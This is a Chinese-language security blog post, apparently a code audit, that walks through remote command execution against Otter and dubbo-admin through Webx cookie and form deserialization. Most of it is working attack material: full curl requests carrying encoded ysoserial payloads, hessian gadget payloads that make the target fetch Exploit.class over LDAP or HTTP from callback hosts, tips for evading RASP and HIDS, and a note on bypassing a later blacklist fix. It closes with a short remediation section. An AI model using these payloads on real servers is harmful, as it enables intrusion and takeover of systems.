docker运行管理后台后进入容器验证是否成功docker exec -it 2a810fb0b8f7 /bin/sh
首先使用web自己的上传poc或者commons-fileupload:1.3.1的poc
登录处即可触发执行Webx write;/home/admin/manager/hack;hacker12233;

curl -i -s -k  -X $'POST' \
    -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-As2s' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1840' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' \
    --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=%65%4e%71%56%55%54%31%76%55%30%45%51%58%4f%78%48%45%75%49%34%42%51%68%42%52%30%4f%62%4f%35%45%55%53%4b%54%69%79%34%71%6a%42%77%32%75%6e%47%70%39%62%25%32%42%31%33%25%32%42%4e%31%48%37%74%62%68%68%59%4c%25%32%46%51%70%54%53%56%66%34%42%25%32%46%41%64%36%43%6b%71%6f%61%4f%6a%43%48%53%59%52%4c%64%75%63%52%6a%73%37%6d%70%6c%62%25%32%46%6f%43%62%4d%63%42%6a%35%59%7a%41%52%6b%39%77%67%6b%4a%70%44%6f%73%6f%49%6f%55%54%72%55%67%73%66%4f%4f%77%45%74%72%34%52%71%6a%70%51%72%7a%51%63%54%37%51%44%51%32%5a%7a%4a%4f%7a%38%63%57%79%38%25%32%46%43%77%41%39%41%47%32%50%38%50%6c%61%65%54%79%41%45%56%58%79%6d%74%66%58%72%77%25%32%46%66%4f%58%34%34%39%64%32%42%70%44%54%38%65%42%43%32%61%67%71%61%6e%47%63%48%64%4f%35%4b%25%32%46%78%30%4c%34%69%34%38%4c%70%49%52%52%52%76%36%63%68%39%50%4d%7a%71%67%50%46%32%6a%58%56%45%66%51%56%71%70%71%71%35%38%34%79%57%57%62%6f%48%44%30%72%59%56%33%56%47%43%49%6c%65%4c%74%38%69%79%63%6f%47%37%51%7a%25%32%42%59%61%44%74%72%50%39%45%6e%70%71%78%52%36%64%65%6a%71%47%44%39%41%74%59%61%4f%61%75%70%6a%64%4d%57%79%76%54%72%53%54%47%53%66%36%72%57%6c%32%38%68%72%4e%4e%58%6d%61%46%76%25%32%46%67%39%5a%71%77%6f%68%41%5a%5a%4f%6e%43%54%4b%4c%50%6e%6d%54%71%78%7a%67%62%5a%57%61%76%43%70%46%58%25%32%42%51%39%57%42%30%6c%38%4d%35%42%33%55%58%50%4b%6d%4e%57%4b%31%67%4e%63%25%32%46%68%31%49%73%77%67%35%30%76%4c%6e%76%56%39%72%47%36%4f%76%75%66%6c%45%67%46%36%4e%61%6b%37%68%30%65%37%75%33%70%35%6e%75%49%25%32%46%65%4e%31%6f%68%61%32%65%6c%55%30%79%38%6b%25%32%46%6f%6d%4e%47%6c%58%4d%45%58%4f%30%70%73%25%32%42%66%66%31%57%7a%69%61%30%45%39%6c%4a%73%58%50%25%32%42%63%72%76%25%32%46%37%62%49%4c%4e%30%6f%6f%50%48%4c%39%4a%31%43%62%72%75%37%49%32%68%6d%53%57%42%6c%74%70%55%47%4c%4d%77%72%76%4f%69%44%62%39%6a%65%65%4b%4d%63%78%0a' \
    $'http://172.18.163.117:8080/login.htm'

可以看到靶机已经生成.tmp文件。如果java版本小于等于6.是可以00截断生成任意文件。
24.jpeg
可惜这个项目exclude了groovy,但是我们也有办法实现otter 项目远程命令执行,这是全部的包。
25.jpeg
使用CommonsBeanutils1的payload,这里注意利用时需要保证jdk版本和jar包的版本要同docker最新镜像的版本一致。(ysoserial是1.9.2,需要降低为我们需要的1.8.3)。
payload将执行’touch /home/admin/manager/webapp/1.jsp’

curl -i -s -k  -X $'POST' \
    -H $'Host: 172.18.163.117:8080' -H $'User-Agent: User-Ass2' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://172.18.163.117:8080/login.htm' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 5194' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID=TLFK8Z-PAK1SFTZXLRPS3Q19FZ22-MPLUA5QJ-1; OTTER_WEBX_JSESSIONID0=eNrz4A12DQ729PeL9%2FV3cfUxCK3OTLFSCvFx87aI0g1w9DYMdguJivAJCgg2DjS0dIsyMtL1DfAJdTQN9NI1VNJJLrEyNDUxtbAwMjI1NjMy1UlMRghYmBlZ6ORWWBnURgEAvvsbTw%3D%3D' \
    --data-binary $'action=user_action&event_submit_do_login=1&_fm.l._0.n=admin&_fm.l._0.p=2&_fm.l._0.p.attach=%65%4e%71%74%56%73%31%76%47%30%55%55%66%32%4d%37%74%6d%4f%63%35%71%50%35%62%4b%46%4e%61%64%4d%6d%4b%64%31%4e%69%4a%32%6d%4f%43%4c%6b%67%78%61%44%30%77%51%53%30%6f%4d%50%31%6e%67%39%4f%42%76%32%71%37%4f%7a%78%4f%48%51%51%25%32%46%38%41%4a%41%51%58%25%32%46%67%45%34%45%41%36%52%4b%71%67%51%51%75%4c%4b%68%51%73%6e%45%42%49%6e%62%6f%42%51%4f%53%42%56%46%4e%37%73%62%75%49%30%43%59%31%62%59%73%6b%37%73%32%25%32%46%65%39%25%32%46%76%4e%65%37%76%35%4b%7a%53%35%48%48%72%57%36%44%74%55%38%59%52%75%4b%49%74%63%74%37%6b%75%4e%6c%37%33%6d%4d%63%25%32%42%25%32%46%47%48%6b%7a%76%32%70%32%31%74%52%69%4f%51%68%35%75%72%76%73%67%4b%6b%4e%4e%74%30%4b%4b%66%43%35%67%4b%36%43%31%4a%53%6c%5a%4c%71%37%41%34%39%56%33%4d%41%49%49%4b%4b%4c%39%71%38%71%6c%43%48%61%71%74%4d%51%54%6e%54%74%6c%79%6c%7a%4b%67%6c%42%56%78%6c%42%6e%64%31%71%65%25%32%46%65%49%37%63%66%58%50%25%32%46%6a%56%67%51%69%44%31%6d%35%43%62%65%41%46%43%44%70%63%4e%74%68%58%47%77%49%36%41%69%73%47%74%53%71%71%6b%75%43%36%31%59%56%4c%61%4b%31%71%51%4f%73%61%62%5a%68%4d%45%33%6f%77%58%35%62%70%36%75%45%64%73%73%47%71%33%74%77%25%32%46%38%25%32%42%50%42%75%35%61%57%35%63%6a%41%44%56%48%51%4a%76%74%43%63%63%54%69%34%46%64%6e%62%6e%72%4d%51%77%72%69%6f%5a%65%51%45%32%4b%36%31%6e%4b%4c%6f%4d%31%69%76%34%6f%75%69%55%59%74%36%69%68%31%46%78%44%61%49%72%67%74%4b%59%73%4d%39%4d%78%71%47%42%75%48%74%66%6d%47%77%76%66%57%4a%75%66%6a%6b%55%68%6e%6f%65%57%6b%6d%35%56%6d%43%57%75%65%32%61%5a%38%54%77%63%4b%36%47%41%35%52%70%4d%35%4a%46%65%4b%30%4b%71%56%4e%34%51%54%4c%4d%72%7a%42%55%51%4c%52%5a%6e%69%68%41%76%61%51%5a%31%38%62%57%6a%75%43%73%4e%73%35%4b%57%4b%30%42%54%79%61%49%6d%6b%79%6d%4c%46%61%43%39%74%44%65%43%68%79%74%57%70%77%63%56%67%33%25%32%46%77%35%33%48%66%30%47%74%25%32%46%39%33%56%56%71%7a%38%47%75%5a%44%56%52%48%71%6b%4f%4c%4e%35%72%25%32%42%65%76%65%48%4c%35%35%35%41%63%25%32%46%25%32%42%72%62%42%31%39%25%32%42%6a%63%63%5a%75%4a%4b%43%4b%44%79%62%67%4d%73%4a%47%45%6a%41%65%51%4a%74%4c%75%4d%36%4e%56%59%59%64%7a%48%37%62%25%32%42%62%6e%43%4a%42%58%43%62%54%4d%59%69%6b%45%74%63%51%4b%4e%54%7a%57%39%46%6e%25%32%46%42%25%32%46%66%65%25%32%46%25%32%42%6e%33%46%77%6e%45%4a%33%56%4c%46%37%69%4a%44%67%36%74%45%49%6a%4e%59%74%51%45%57%67%75%36%78%59%4c%38%4c%4d%74%71%45%61%79%25%32%42%72%61%46%61%69%73%72%78%50%53%54%47%78%4b%72%75%45%6a%69%25%32%42%4a%4c%7a%79%63%70%6a%44%52%62%70%68%32%4c%52%43%49%4a%32%33%4c%4d%62%39%46%44%46%6b%79%68%59%32%58%44%74%77%54%6e%55%43%48%6a%64%49%79%44%56%61%71%54%4c%68%6e%6a%74%41%53%34%35%41%73%31%25%32%42%63%74%32%78%75%45%75%43%44%42%63%53%41%69%68%68%51%45%51%4e%71%67%41%48%56%78%34%43%36%6a%51%48%56%78%34%41%36%74%7a%43%66%4b%78%37%49%62%52%70%31%33%73%41%66%76%47%46%63%58%51%71%33%56%4b%4c%32%46%57%70%56%44%4d%5a%7a%4d%69%58%4a%69%71%31%35%4a%75%4b%46%77%4b%58%48%4d%6f%25%32%42%69%71%34%45%65%44%48%25%32%46%6d%25%32%46%7a%74%44%49%50%56%79%54%57%4f%4f%66%36%30%53%63%49%48%41%78%34%25%32%42%58%6a%30%4d%39%71%41%68%54%6e%56%75%65%6e%36%37%70%62%68%35%4a%66%6c%63%35%6d%68%7a%71%6f%54%71%4a%67%79%66%78%67%6b%41%69%7a%43%57%42%36%61%50%49%35%4a%4c%74%63%59%31%64%31%53%57%4d%30%79%45%43%46%58%6c%4a%30%35%43%43%70%78%49%77%53%47%44%73%43%51%42%4c%34%4b%56%47%4b%38%49%39%53%25%32%42%67%6d%55%36%66%4c%4c%6b%4a%63%45%39%75%61%43%48%54%36%7a%55%4b%33%36%38%37%37%74%25%32%42%31%4b%6f%35%71%33%4e%65%32%67%68%63%44%70%51%32%4c%42%45%6b%31%71%52%74%67%4b%32%75%73%64%37%6f%33%41%79%51%51%4d%59%38%36%51%4d%58%77%6e%30%44%55%34%56%4e%6a%48%6c%6b%76%44%63%33%41%70%42%52%64%42%49%58%42%65%32%4a%36%32%32%71%25%32%42%75%32%68%67%6b%72%5a%69%36%70%5a%72%55%6f%6c%55%73%79%6a%6f%72%55%38%64%52%52%35%55%31%31%30%6e%43%43%44%59%53%56%6d%4d%61%67%51%75%44%25%32%42%32%66%4d%62%6a%50%59%4f%6a%57%47%48%54%63%4e%7a%38%4f%59%4e%4a%50%42%7a%72%59%6b%71%50%62%32%50%48%58%43%6e%6e%53%71%48%75%6e%69%4f%6a%61%67%37%50%68%49%5a%6d%49%69%4d%35%37%4e%6a%6d%64%47%73%25%32%42%4d%45%25%32%42%67%75%50%35%73%6a%42%47%59%68%67%56%30%57%76%38%48%38%43%6d%69%43%4f%61%30%4a%32%59%30%6a%36%4e%41%51%49%50%74%4e%49%55%58%45%6c%75%44%59%4e%66%77%46%6b%79%32%64%70%77%57%66%63%4a%77%37%42%4d%58%79%6d%41%77%5a%6f%68%51%6c%63%73%56%6c%43%4a%33%4a%4a%34%53%6b%35%31%79%52%74%72%36%44%71%43%25%32%46%59%48%68%36%47%67%33%48%56%42%74%33%39%4f%6f%41%64%36%55%61%49%50%39%34%47%50%55%75%33%4a%55%47%33%65%70%78%36%67%4e%75%4f%72%48%51%34%4f%44%31%54%37%4e%44%79%44%45%6e%4a%33%43%6b%36%6a%25%32%42%62%71%42%4a%45%61%7a%48%66%51%35%50%4a%46%63%72%5a%39%41%6c%42%54%75%67%74%6f%78%25%32%42%6a%6c%6b%62%32%7a%35%67%75%4e%25%32%42%55%45%52%79%39%50%76%32%7a%30%41%37%72%69%6b%38%69%73%42%5a%61%49%4e%6d%54%38%37%4a%4e%75%54%39%66%6d%65%4b%6e%5a%52%54%72%43%73%42%50%51%6e%6f%54%55%42%66%6f%31%50%73%35%69%25%32%46%36%62%35%50%6d%74%64%36%6a%6d%57%4c%52%71%37%61%39%62%32%6f%4e%48%44%71%31%55%4b%71%52%66%6e%4b%43%77%4e%6b%47%56%47%48%6f%64%62%67%76%6c%4e%66%77%49%25%32%42%6f%25%32%46%25%32%42%38%46%68%64%25%32%46%71%52%4f%43%61%4e%34%33%68%69%44%34%34%37%25%32%46%50%50%6a%25%32%46%72%4e%7a%56%33%57%37%5a%58%58%78%43%79%36%47%74%34%6f%37%36%77%52%71%73%74%49%74%74%58%38%42%25%32%46%52%34%67%5a%67%25%33%44%25%33%44%0a' \
    $'http://172.18.163.117:8080/login.htm'

dubbo-admin

dubbo-2.6.1以后的版本不再有dubbo-admin ,我们就以https://github.com/apache/incubator-dubbo/tree/dubbo-2.6.0为例吧。
发现https://github.com/apache/incubator-dubbo/blob/dubbo-2.6.0/dubbo-admin/src/main/webapp/WEB-INF/forms/provider.xml 是典型的写法,存在安全风险。incubator-dubbo/dubbo-admin/src/main/webapp/WEB-INF/webx.xml 设置cookie通过序列化的形式进行对象存贮。就像这里提到的一样,http://wp.blkstone.me/2018/09/writeup-2018-alibaba-security-competetion/,这里不再赘述。
webx的Session框架提供了一种encoder的实现,编码的基本过程为:序列化、加密(可选)、压 缩、Base64编码、URL encoding编码。默认为hessian-serializer,其存在一项反序列化漏洞。
利用方法:
修改marshlsec适配webx框架。
https://github.com/nanolikeyou/marshalsec
搭建测试环境:https://github.com/nanolikeyou/dubboadminrce
首先启动java LdapServer http://xx:9090/#Exploit
再启动http server。
构造的rmi或者ldap形式的jni factory,触发cookie处理时调用hessian反序列化,会触发http下载执行class,应用程序内部具备了完全的命令执行权限。
这里需要注意的是几个Gadget的的点,基于hessian反序列支持SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin,其中
SpringPartiallyComparableAdvisorHolder 需要aspectj,默认的webx或者dubbo admin并没有这个jar包,功能方面需要开启aspectj 注解模式,对spring配置aop:aspectj-autoproxy。
SpringAbstractBeanFactoryPointcutAdvisor 需要高版本spring-aop,参考:https://github.com/mbechler/marshalsec/issues/8
Rome不自带,除非业务使用了webx框架,并且主动添加
Xbean不自带,除非业务使用了webx框架,并且主动添加
Resin,在应用服务器为resin时,直接具备包。
观察我在github上传的代码,可以发现一处新的gadget,技巧是利用了SpringExtUtil的tostring方法,不需要第三方jar包,就可以执行RCE。
26.jpeg
27.jpeg
poc:

Rome ldap://Rome.lzv3nf.ceye.io/Exploit
eNqVUs1uEzEQlppCm5%2BqlThz4YK4OJG4cWTTqiASIFly6IlZe9K4sj1bj910%2BxJse%2Bwz8CZ5EQ4ceAS8G4m%2FQyXG0vgbz3zf%2BO80Gz2XZIUni4HIcIvEElEJbUsjji8jGH6N4O66RfKZAeYOFRefs8MLuAJhwJ2LdvV214FFGL14UDCnefDanTeS2X%2FU%2FtO%2BgKcNlaNLpDVjEG9VIWe0nmN4k7jZw%2BmveyltwanOp9m7noIAc4peYs%2B3JXlVYp9XtB6jwYBqcBnRV7m2SDHsWbhOSjxI84lGo%2Bb6BvuSnIzeo5PVvkdQ752pjpAllPjBk0TmdJCuZjIQNLn9JQa5GmvfbUEjsZsk3E7JO54fN5uejB95TP5ATyCVZGSidXzIwf8ZDwrtwFfpohDsQXRaksJt1AeWWm9xT67Ab2HHQtk1mgM6TK1K8GBZTqejZ0ZB%2BWo4nDWvYG6uXrqlkFih0DQ8vi4N6bD5flLX9eZHnt9tvtXTxhZH7T%2BIQRuxQBnI33%2F5ZYv6vrMkmv5tkye%2FKafAqwCFwbOPt804%2BwmnR%2Ff1
Resin http://Resin.lzv3nf.ceye.io/ Exploit
eNqNVM1OFEEQPizLIn8SIYqiB6OJnnrHGBPjwUQHCEZ3FDDE4GGt7a6daeifSXfPuvAQJiIXE08m6kP4Avgs3nwCu2cWWBLZOJfp6v6%2Br76qVPdafIVqSSgUNNNEgeQqJesJSDyYaFOtHPbdeJs7lPZdHN3ZgR70j2E25yT2EK4KcFyrZW7iivGpRnOsoeo1gkTs%2BhBHt85wY1BKu1dGU0S20qeYB4UvM0ZrdxLOMHTARQuthRTr3qTFOYMSuPIaCb4PPqd8Gm60kqhcA4QLe5ODv888bdBq0UNWYo%2BDl52dmVOhwLAO6O5rAxQXbJHnHmiHjNlOMvjiy2fq2MAuGlQUDy9QAdYGrelytQrUabO3MBy80LTsVB0YM5bWVrVurPRzoblbypzLHzWbG1oiEfu9%2B6pLKO4h4bqZz4WcpHBckC0MSsnW9bflngBvYvPE%2B4rA0IfP8dKI08NZht6V8f7jYG5Sost02aCJLhdY9kNwhUkhO2jYogRjMxAWKUmBpeisr9tyNSthF8tVOTGT5ZKEzEcPWXTbFooY7ArvmCS%2B7h62ykRPKPXd1eaZzEWDq57exejGeYBS7sN%2Fqo1XaqPFjh6z6O6w2jIKTD1DpecqRjdHgUrZn2zxtOfH0hV2IDJVRSX61x92daitrWop0DwF6wfIIDj0Q%2Bo15s%2BeVeznI9h1pjcK9S%2Fa0bcRtJo5h7THLg2R1nzVHNRYuDvTg6DCPUha86dzugY2c9ARuJ3s17pa1zpg1j%2FG0b3w3ITua5MSyIFmSPo5uIxw%2F3QYBYLosm5L3my6MKMHddn2WxOynYO%2Fag7Hfv%2F4fvHaVLL%2Bdfsvx0jJBA%3D%3D
XBean http://xbean.lzv3nf.ceye.io/ Exploit
eNqFUk1v00AQPRC3bktVkEqlShw5b4I4IMGJurWKhFwlKR%2FiUsbrcbLJene1u04c%2FkVbVHHiL%2FC3%2BBnMOqaEE3vxePzmzXvPe54MXmo7Yc5YoSalhQqX2s4ZaMM82Al6dq79eAnGQC7xsm2NdW05Xm%2BtAV%2BSwetAAQb4FFmTIyimoCI%2BxrXy2HiWrJ%2FvvZDPRgjFhZKrE6EKwnzfFW6EErxYYI%2FGcIdLcC6jKi5rKUMRtZBoAbLG7Y4zznWtiot8BumDUussu0yOZrCA5s%2FuEZZoUXH89pfxYVulwL22q8PNl3eakwStIigK6%2FJAuX3WGKmFfzr13rzq99fO5NfFC1UyjitkQvfNo7CU1eSMfcBAlQz6%2F4vjoxU%2BxNnF8uOAB%2By9YHfoamO09fedAD4mCJ%2BfUqNrnoqyrfwR2agr3Ph0ErI5CGm%2BVcG3IzG4W%2BlClCJwbQmVgJQ7SxKCZH2%2Bl6%2F%2FBuVcxlRiQ8XjTm%2BKBdo2nf0KnEfb6X5iwDossn%2FX7HdTbzg5cTylk6VZd4a3w2u6MM%2B5rpirFdtMyoCfMkGzVoFkOp9RnI59GvtwNW%2Bi6opacXVFS8lz0fv18zbuRdnw7vNvlHII9g%3D%3D
SpringPartiallyComparableAdvisorHolder ldap://adv.lzv3nf.ceye.io/Exploit
eNqNVE1PFEEQvQASEFxN0HAxmmi8NWNINPE2TMQFdfjYPRg8YO1M7cysM11td89%2B%2BCsWSLwaf4Z%2FyN9h9cwsoIHAnLZeV71Xr7p624H3mnQijNKZTPoaChyR%2FiqAlLCgE7SiTbYzAqWgl2O3gjpU6ghPFuqEL4Enr6MAozCyAwGlJaVpPBF%2Bhez6I9Dox8PMkPb5cN8dBhrBkn62D9pmkOeTgAoF2gk3qW3KY9Snd6AOl6I6gYsg8F7d1EWjvU%2BZtFFpG86zedJMuuA4I1xUzWkvDLzNWzL6mkoZ%2BxXBr9UYoxxcTZCDMUsF2pTikMuX6jL3s1Ungc1I7jn5uzbVNOIid7qi0ZZaNtGjODMRDVFjfDjDuxOFDy%2FwblNcwQN2UHn0dVIWKO2OjHHsPTnHO5Z1IzflfzLWoInMjrSaql4xfnyF%2BjuUqLPIqa26%2BbNF1C4y5%2BNbq73uSGNBRrgNEV%2FSZGUm4XyZ1izaymTMtCYK7g1gCCIHmYhqeidzkjPj1gW81xsw76KljnUzDqchf9Ppdqhan%2F8r5ht8f%2BNmSkm2ugaxhSCbPv2rmj%2BrelnuXaSt1iwf0UIMFtB7mseg3mxs8C6J%2FPtwU%2FZFhBMUGW28HaucMnvNmg54AMKUSpG2opMVKsddhi619GNZo6ke3iH2H5iU3497GIcNaFqGCXO0vE%2FVhMzKLL%2B6mIWckoTXzAl1kfnBYr%2F77X41stJmuWiDSTtob%2BGhfdQ%2BCrwXzgcoiFIU%2FA4LkkY4EW5DOAMipD31gZJpEnjPr%2FW8e6mf06bJZZTDTJN0q5EmYfUdnPD%2FzEvW4SlJcUl6rMCmgpcOtYRcUG1efKrX43S%2BOGZosTjmPWW6bO7P9Pf62np48PPoL7nJ57I%3D
SpringAbstractBeanFactoryPointcutAdvisor ldap://spirngadv.lzv3nf.ceye.io/Exploit
eNqNj8FOwkAQhk8aE9Soz6DhtjQx8eANq6Yhpoj0xIlhOy2L2511dlvFp0BiPPi0thGUgyTedif%2F%2FPN9URh0iXPhLCuTZwwFPhM%2FCiArXGktsRfXmEGp%2FRWCuQXpief3pIyXpe%2BmlXLE74dQPyQ2ibhu2CFOkffsKtWa%2FG6Og7ZOwV52Os4qNnm9KPRrdW4yIXGOQlHn5sVqUj4Og9NtZAmXuGZYQBhc%2FBWcmVT9OAxVYTX26tGGxkeL0VHJEh8wO3FTYISJrj%2FfQ3fk6kKNnkx%2FMkPp3cE6n8wtul1NeY683xxKsO4Hj5Pk6XgGFYjSKy0icNMh%2Bn87R6NoFAbtxgYsyCkKSUVBxonmVA0jGg0RU9%2FeUb6QYXC21by3QbVcobbQVIrJFGh8KuPB2ziOB8t48Dn6AkAoxWk%3D
SpringAbstractBeanFactoryPointcutAdvisor2 ldap://spirngadv.lzv3nf.ceye.io/Exploit
eNqNUs1u00AQvrQpUoEWJN6gVW8TIySQkDiAKXIrlP44lVAuZWyPnQ3r3WV3nDo8BYkEJx6CF%2BMd2LUT6AEQx%2F08%2Fn7mmySOnmlbgTNWqKq0WNONth8AtQFGWxFDojm9QWMwkzTuoFQ3NqfloB94H0cvcl0DSpFhhpALto1bM1LL0LCQkHbP45av%2FOvgZebYYs7nVreL1bZQXLqd0gPaLjDem%2BEcQaKqIJbo3HJLeV%2FZ%2Fm845cAWR%2BKfwq4xRlsGg9aRhY3oyJMVnfIrQvWaSqEEC63Ou7GD7ksf9E3v6KQ2cnW%2FTxt%2BCQQbt3l0JAs0z4dDZ4RVFRZzkJ%2FmT1QJOS0IhB4et0ZqwXH09E%2BbnqlC%2FHKaCi9Fpx4KOmv5r7uWXLfySyofuilaCl1crkG37zyhJNbqLJtRzu7eZn68MOQGUlcV2btBaEyeH5mK8ccH3Ta7bhJ005T4v5Mkk2QSR0chDRrMpwS%2BhlorB0HKm4EQA0b6zLzV1WeKo8O%2FJj%2B95Wq1trpLai6sVjX5u6DRxdKf2OPQtGsU3FJtDfIU%2FPGQVShB9%2BnhXX8dq%2B362kN36mvfv2eqtn58%2Bf5oZzC6%2BDb5CZRVH70%3D

证明:

构建Exploit.class:
28.jpeg
python -m SimpleHTTPServer 8080。
使用适配后marshal生成payload:

eNqNVE1vEzEQPaRpStOWilalfB0QSHBylgNSVSQk2KYqElloiypUDmFiT3bdeu2V7Q2BH4FE6QUJLhzgR3DgWn4LN34BtpO2qUQj9rIe%2B703M09jb8SXqcoJhZJmikjIuUzJZgI5Hky1qZIW%2B3ayzS3m5nUc3dmDHvSPYabgJHYQLkuwXMk1ruMB42OFFlhB2at5idj2IY5uneHGIKWyz7WiiKzZp1h4hc%2BzWil7Es4ytMBFC42BFKuuSIPzGnPg0mkk%2BMbXWXdpuFYyR2lrIKzfmx7%2BXeYZjUaJHrKAPQ6edfZmT4U8w1ig%2By80UFw0ZVE4oBkpzHSS4RcvneljC7uoUVI8vEAFGOO1ZsJqHahV%2Bu3iaPBU0eBUFRjThlbWlao1%2B4VQ3C5l1harjYZwEJEpY1dXopWoUcz7dKS0XJAd9CLJzvVXYU%2BAy799UnZToLfgU3xtzOnhHENXkHalx76u6RxtpoI3U10uMFghuMSkzDuo2XIO2mQgDFKSAkvRGtey4XIuh30MqzAs02FJfOaj%2Byy6bUpJNHaFq5gkruUetkKiR5Q6Y5V%2BkheixmVP7WN04zxAkHv%2Fn2qTA7XxYkcPWXR3VG0NBaaOIdNzFaOb40BB9gdbPvX8WHqAHYrUB1FA%2F%2FrDrozY2hosBerHYNzsaASLbj6dxsLZswH7wRh2lamtUv6LdvRlDK2izyFpdmmEtOG65iAn%2FLWZGQYB9zNpLZyO6QaYzEJH4G7yrtJVqtIBvfkhju75h8abr3RKoACaIekXYDPC3aOhJQiiQtuGvNy2fkQPqnnbbU3l7QLcJbM48fv7t4tX68nm192%2FFsrGdA%3D%3D

29.png
使用替换cookies值tmp0,
30.jpeg
被rasp拦截:
31.jpeg
这里建议使用java编程的方式通过dns隧道回显结果,不通过直接调用命令的方式, 防止rasp或者hids拦截或者使用反射开启Webx Framework的开发模式工具。
32.jpeg
观察rasp显示的调用链:
去掉rasp:
33.jpeg

其他历史应用

可以检索cookie包含tmp0=enp或者tmp0=enr的应用。

漏洞危害

34.jpeg

修复方案

反入侵应急阶段:
  1. waf增加相应的检测手段
  2. 梳理历史的资产,在hatrix、rasp产品新增反序列检测功能并验收。
  3. 排查存量代码可以直接在svn、git检索上发现业务直接在源代码文件中调用反序列功能的写法,版本号;
  4. 由于webx遵循页面驱动的理念,可以检索前前端定义的"_fm.0"表单元素
  5. 收集依赖组件,应用。
  6. 增量业务的整改建议升级webx框架和common-file-upload、jdk7u21等其余ysoserial支持的调用链组件,让readobject有入口,但是不能被触发。
应用安全审计:

将poc纳入burpsuite插件,作为日常审计checklist。

业务代码修复:

回顾软件需求设计阶段,增强软件韧性,具备一定的安全能力。
增加攻击面分析步骤,对历史系统进行盘点。
升级hessian版本至4.0.51通过ClassFactory设置白名单。
修改为hessian加密方式。
进行cookie数据验签。
由于功能主要发生处为web请求参数的自动解包处理FIied,建议业务对于新版本去除此功能,并预警知会开源社区。

修复方案方面我们可以参考蚂蚁金服的策略:
https://github.com/alipay/sofa-hessian/pull/8
看下commit记录,
https://codecov.io/gh/alipay/sofa-hessian/pull/8/diff?src=pr&el=tree#diff-c3JjL21haW4vamF2YS9jb20vY2F1Y2hvL2hlc3NpYW4vaW8vSGVzc2lhbjJJbnB1dC5qYXZ
发现最早的一次拦截修复思路果然是错误的,当时使用了类似https://github.com/ikkisoft/SerialKiller/blob/master/config/serialkiller.conf的方案,其实这是基于java反序列漏洞利用方式。后来最新修改的才是hessian的利用姿势。我们关注最新的文件内容:
https://github.com/alipay/sofa-hessian/commit/80fd8f3b0826ef958107285b45cb85d962b13f62
整体修复实现方法还是可圈可点值得赏析的,通过ClassNameResolver配置filter的方式。
默认为com.alipay.hessian.internal.InternalNameBlackListFilter,读取反序列化之后的type为className进行判断。具体细节实现了一套很好的缓存ConcurrentLinkedHashMap机制提高效率,而且用startwith比equels高效和准确,值得学习。
利用方式:
但是黑名单没有添加com.caucho.naming.QName和com.sun.org.apache.xpath.internal.objects.XString,存在继续利用的情况。

未经允许不得转载:JAVA安全网 » 代码审计-dubbo admin <=2.6.1远程命令执行漏洞

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址